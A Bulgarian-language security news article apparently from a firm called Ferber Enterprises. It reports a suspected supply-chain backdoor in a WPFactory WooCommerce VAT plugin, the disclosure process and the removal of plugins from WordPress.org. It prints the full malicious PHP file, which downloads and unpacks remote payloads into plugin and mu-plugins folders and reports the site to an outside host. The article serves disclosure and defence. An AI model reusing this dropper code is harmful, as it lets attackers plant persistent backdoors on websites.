Нарушение на сигурността в WPFactory: 170 000 уебсайта на WordPress са изложени на риск

| Новини |

WordPress остава най-широко използваната система за управление на съдържание в света, задвижвайки повече от 40 процента от всички уебсайтове в интернет. От уебсайтове на малкия бизнес и лични блогове до големи корпоративни платформи и инфраструктури за електронна търговия, CMS се превърна в гръбнака на модерния уеб. Популярността му произтича от неговата гъвкавост, отворенa екосистема и огромния брой плъгини, налични за разширяване на неговата функционалност.

Въпреки това, същата тази екосистема се превърна и в едно от най-големите предизвикателства пред сигурността на WordPress.

В Ferber Enterprises екипът ни за киберсигурност непрекъснато следи заплахите, засягащи екосистемата на WordPress, тъй като уязвимостите в плъгините, темите или веригите за доставки могат бързо да прераснат в мащабни атаки, засягащи хиляди уебсайтове по целия свят. През последните години хакерите все по-често насочват атаките си към разработчиците на плъгини и инфраструктурите за разпространение, а не към отделни уебсайтове, което позволява на зловредния код да се разпространява чрез надеждни софтуерни актуализации и официални канали за изтегляне.

Тази седмица избухна голям скандал, свързан с WPFactory – известен разработчик на плъгини за WordPress, чиито продукти са инсталирани на над 170 000 уебсайта по целия свят. Над 80 плъгина, свързани с компанията, бяха временно деактивирани на WordPress.org, след като екипът ни по киберсигурност в WPFactory откри подозрителна „задна врата“ в премиум версията на един от плъгините ѝ.

Инцидентът повдигна сериозни опасения в цялата WordPress общност относно сигурността на софтуерната верига за доставки, процесите на преглед на плъгини и нарастващата сложност на атаките, насочени към екосистемата с отворен код.

Откриването на подозрителното поведение на приставката

Проблемът за първи път излезе на бял свят, след като екипът ни по киберсигурност в Ferber Enterprises забеляза необичайно поведение при тестването на премиум версията на плъгина „EU VAT for WooCommerce Pro“, разпространяван директно от официалния им уебсайт.

Първоначално разследването започна, след като плъгинът генерира фатална грешка по време на инсталацията. Докато анализираха проблема, нашите анализатори идентифицираха подозрителен PHP файл с име class-alg-wc-eu-vat-customer.php. Файлът изглежда изпълнява поведение, което е напълно несъвместимо с очакваната функционалност на плъгин за ДДС за WooCommerce.

class-alg-wc-eu-vat-customer.php ● 
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Според нашия анализ, кодът се е опитал да:

  • Изтегляне на външен ZIP архив от отдалечен сървър
  • Промяна на основни директории на WordPress
  • Комуникация с външна инфраструктура
  • Потенциално изпълнение на отдалечени полезни товари върху засегнати уебсайтове

Тези индикатори веднага наведоха на мисълта за възможното наличие на скрита задна врата или компрометиране на злонамерена верига за доставки.

Това, което направи ситуацията особено тревожна, беше фактът, че плъгинът не беше изтеглен от неофициален огледален сървър или пиратско хранилище. Пакетът беше изтеглен директно от официалния клиентски портал на WPFactory, което засили опасенията, че самият канал за разпространение може да е бил компрометиран.

В Ferber Enterprises незабавно документирахме инцидента и започнахме процедура за отговорно разкриване, като се свързахме директно с WPFactory чрез GitHub.

Първоначален отговор от WPFactory

WPFactory първоначално отговориха, че описаният в доклада подозрителен файл и поведение не са част от официалната им кодова база.

Представител на компанията предложи няколко алтернативни обяснения, включително:

  • Модифицирана локална инсталация
  • Компрометирана уеб среда
  • Неактуална версия на плъгин
  • Потенциално манипулиран източник за изтегляне

Компанията също заяви, че не е могла безопасно да провери предоставения ZIP файл, тъй като браузърът им е маркирал архива като потенциално опасен.

Впоследствие екипът ни по киберсигурност уточни, че плъгинът е бил изтеглен директно от официалния уебсайт на WPFactory и че подозрителният файл е останал на мястото си дори след изтеглянето на нова версия 4.6.1 от същия източник.

Този факт се превърна в ключов елемент от разследването. Ако множество независими изтегляния от официалния канал за разпространение последователно съдържаха един и същ подозрителен код, вероятността от компрометиране на локален уебсайт ставаше все по-малко вероятна. Въпреки тези констатации, от WPFactory първоначално заявиха, че не са успели да възпроизведат проблема от своя страна, и твърдяха, че подозрителният файл не съществува в официалния пакет с плъгини.

След това компанията поиска администраторски достъп и FTP достъп до засегнатата среда, за да продължи разследването. В Ferber Enterprises отхвърлихме това искане по съображения, свързани с киберсигурността. Предоставянето на привилегирован достъп до сървъра на доставчик, чиято инфраструктура сама по себе си може да е била компрометирана, би представлявало неприемлив риск за сигурността. Вместо това екипът ни продължи да предоставя технически доказателства, включително видеодемонстрация, показваща подозрителното поведение на плъгина, настъпило веднага след инсталирането.

Ескалация към WordPress.org

С напредването на разследването нарастваха опасенията относно потенциалния мащаб на проблема. WPFactory поддържа обширна гама от плъгини, включваща повече от 65 плъгина с общо над 170 000 активни инсталации. Ето защо всяко нарушаване на сигурността, засягащо дистрибуторската инфраструктура на компанията, би могло да има широкообхватни последствия за цялата екосистема на WordPress.

Нашият екип докладва проблема директно на WordPress.org, за да предотврати инсталирането на потенциално компрометирани пакети от други потребители, докато разследването все още е в ход. Впоследствие WordPress.org предприе извънредната мярка да премахне временно повече от 80 плъгина на WPFactory от официалния репозиторий.

Този ход веднага привлече вниманието на цялата общност, занимаваща се със сигурността на WordPress, тъй като масовото спиране на плъгини в такъв мащаб е сравнително рядко явление и обикновено е признак за сериозни нерешени проблеми. След като ситуацията се изостри, WPFactory по-късно призна, че проблемът изглежда реален, и се извини, че не е реагирала по-бързо на първоначалния сигнал. Представители на компанията заявиха, че активно разследват въпроса и работят за намиране на решение. Една хипотеза, изказана вътрешно от WPFactory, предполага, че остарял или кеширан пакет с плъгини може да е бил неволно предоставен чрез тяхната инфраструктура.

Въпреки това, нашият екип по киберсигурност не беше съгласен с тази оценка. Наблюдаваното поведение силно подсказваше за по-дълбок проблем със сигурността, потенциално включващ компрометирани build пайплайни, дистрибуционни системи или неоторизирано инжектиране на код в архиви на изтегляеми плъгини.

Защо този инцидент е от значение

Скандалът с WPFactory поставя на преден план нарастваща заплаха за киберсигурността, известна като атака по веригата за доставки на софтуер. Традиционно хакерите се фокусираха върху компрометирането на отделни уебсайтове чрез атаки с груба сила или уязвимости в плъгините. Днес злоумишлениците все по-често насочват атаките си към самите доставчици на софтуер, тъй като компрометирането на доверен доставчик позволява на зловредния код да се разпространи едновременно в хиляди уебсайтове.

Тази стратегия вече е наблюдавана в няколко високопрофилни кибер инцидента, засягащи глобални софтуерни екосистеми през последното десетилетие. По-специално в екосистемата на WordPress, разработчиците на плъгини представляват атрактивни цели, тъй като плъгините по своята същност се ползват с доверието на администраторите и често работят с повишени права.

Ако в пакет с плъгин, разпространяван по официален канал, бъде внедрен злонамерен код, засегнатите уебсайтове могат сами, без да подозират, да инсталират зловреден софтуер. В случая с подозрителния плъгин WPFactory потенциалните последствия са сериозни.

Въз основа на нашия анализ, идентифицираното поведение теоретично би позволило на нападателите да:

  • Разгърнете допълнителен зловреден софтуер
  • Вмъкни SEO спам
  • Създайте постоянни бекдори
  • Екстрахиране на чувствителни данни
  • Модифициране на WordPress инсталации дистанционно
  • Поддържайте неоторизиран достъп за продължителни периоди

Опасността от такива атаки се крие в тяхната скритност. Съвременните задни врати често са проектирани да остават неактивни в продължение на месеци, преди да се активират, което прави откриването им значително по-трудно. По-рано този месец, екипът на WordPress Plugins припомни, че са закрили над 30 плъгина, след като скрито злонамерен код, вграден в портфолиото на друг плъгин, остава неактивен приблизително осем месеца, преди в крайна сметка да се активира и да инжектира SEO спам в уебсайтове.

Тази тенденция демонстрира как нападателите все по-често приоритизират постоянството и отложената активация, за да избегнат механизмите за откриване.

По-широка криза в сигурността в екосистемата на WordPress

Инцидентът с WPFactory разкрива и по-широки системни предизвикателства пред сигурността, засягащи WordPress като цяло. Екосистемата от плъгини се разрасна драстично през последното десетилетие, като в официалните и търговските магазини се предлагат десетки хиляди плъгина. Макар тази екосистема да стимулира иновациите и гъвкавостта, тя създава и огромна сложност при контрола на сигурността.

Според доклада на Patchstack “Състоянието на сигурността на WordPress през 2026 г.” близо 461 000 известни уязвимости не са били отстранени преди публичното им разкриване. Тази статистика отразява нарастващото натоварване както за разработчиците на плъгини, така и за изследователите в областта на сигурността и администраторите на репозитории.

Същевременно, официалната опашка за преглед на плъгини за WordPress според съобщенията вече надхвърля 4000 плъгина, чакащи преглед. Подобни числа илюстрират огромното предизвикателство при поддържането на осигуряване на качеството и одит на сигурността в голям мащаб.

Много разработчици на плъгини са малки екипи с ограничени ресурси за сигурност. Други управляват десетки плъгини едновременно, като прилагат агресивни стратегии за търговско разрастване, включващи придобивания и разширяване на портфолиото. Самата WPFactory наскоро се разшири чрез придобивания, включително покупката на Extend-WP и нейните 19 плъгина през 2025 г., последвана от придобиването на WBW и няколко допълнителни плъгина по-късно същата година.

Бързото разширяване на портфолиото може да създаде оперативна сложност, която затруднява одита на кода, управлението на инфраструктурата и проверката на целостта на изданията. Нападателите са напълно наясно с тези реалности. Нарастващо те се фокусират върху експлоатирането на слаби практики за оперативна сигурност в доставчиците на софтуер, вместо да атакуват директно крайните потребители.

Нарастващото значение на сигурността на веригата за доставки

Инциденти като този засилват неотложната нужда от по-силни практики за сигурност на веригата на доставки в цялата WordPress екосистема.

В Ferber Enterprises екипът ни по киберсигурност настоятелно препоръчва на разработчиците на плъгини да въведат няколко основни мерки за защита, сред които:

  • Криптографско подписване на пакети
  • Сигурни CI/CD конвейери
  • Задължително многофакторно удостоверяване
  • Сегментиране на инфраструктурата
  • Непрекъснат мониторинг на целостта
  • Независими одити на кода
  • Възпроизводими системи за изграждане

Уеб администраторите трябва също така да засилят собствената си сигурност. Дори плъгини, изтеглени от официални или доверени източници, не трябва да се приемат за безопасно неоспорими.

Организациите, управляващи критична WordPress инфраструктура, трябва да вземат предвид:

  • Поддръжка на стейджинг среди
  • Наблюдение на изходящия трафик
  • Сканиране на плъгини преди внедряване
  • Ограничаване на използването на плъгини
  • Прилагане на контроли за достъп с най-малко привилегии
  • Прилагане на мониторинг на целостта на файловете
  • Използване на управляеми защитни стени за уеб приложения (WAF)

В корпоративна среда валидирането на веригата за доставки става също толкова важно, колкото и традиционното управление на уязвимостите. Предположението, че официалните софтуерни канали винаги са сигурни, вече не е реалистично в днешния пейзаж на заплахи.

Реакции на общността и продължаващо разследване

Противоречието бързо се разпространи в общността на WordPress, след като разработчици, специалисти по сигурността и доставчици на инфраструктура започнаха публично да обсъждат въпроса.

Няколко известни фигури в екосистемата повишиха осведомеността за ситуацията, включително разработчици, които публикуваха списъци с временно затворени плъгини и насърчиха администраторите да одитират своите среди.

Междувременно екипът ни в Ferber Enterprises продължава да анализира подозрителните образци на плъгини и да следи за допълнителни признаци за компрометиране, които биха могли да засегнат уебсайтове на WordPress по целия свят.

Към момента на публикуването WPFactory потвърди наличието на проблема и заяви, че работи активно по неговото разрешаване.

Обаче остават много неуточнени въпроси:

  • Беше ли компрометирана официалната дистрибуционна инфраструктура?
  • Колко дълго потенциално са били разпространявани злонамерени пакети?
  • Бяха ли засегнати допълнителни плъгини?
  • Били ли са компрометирани клиентски акаунти или системи за изтегляне?
  • Разбойниците получиха ли постоянен достъп до вътрешна инфраструктура?
  • Възможно ли е все още да съществуват допълнителни спящи товари?

Докато тези въпроси не бъдат напълно разрешени, предпазливостта остава от съществено значение.

Бъдещето на WordPress сигурността

Инцидентът с WPFactory може в крайна сметка да се превърне в още един показателен пример за предизвикателствата в областта на киберсигурността, пред които е изправена уеб екосистемата с отворен код.

WordPress захранва огромна част от глобалната интернет икономика. Всяко широкомащабно компрометиране, засягащо разработчиците на плъгини, следователно може да има последици, простиращи се далеч отвъд отделните уебсайтове.

Тъй като хакерите продължават да развиват атаките си, насочвайки се към компрометиране на веригата за доставки и техники за скрито присъствие, сигурността на плъгините вече не може да се разглежда като второстепенен въпрос. В Ferber Enterprises сме убедени, че това събитие служи като важно напомняне, че киберсигурността не се състои само в защитата на самите уебсайтове, а и в осигуряването на сигурността на всеки етап от веригата за разпространение на софтуер.

Доверието в отворените екосистеми зависи от прозрачност, бърза реакция при инциденти и силни практики за оперативна сигурност. Екосистемата на WordPress сега е изправена пред важен момент.

Начинът, по който разработчици, поддържащи хранилища, доставчици на хостинг и екипи по сигурността реагират на подобни инциденти, ще помогне да се определи дали WordPress може да продължи да поддържа доверието на милионите бизнеси и организации, които разчитат на него всеки ден.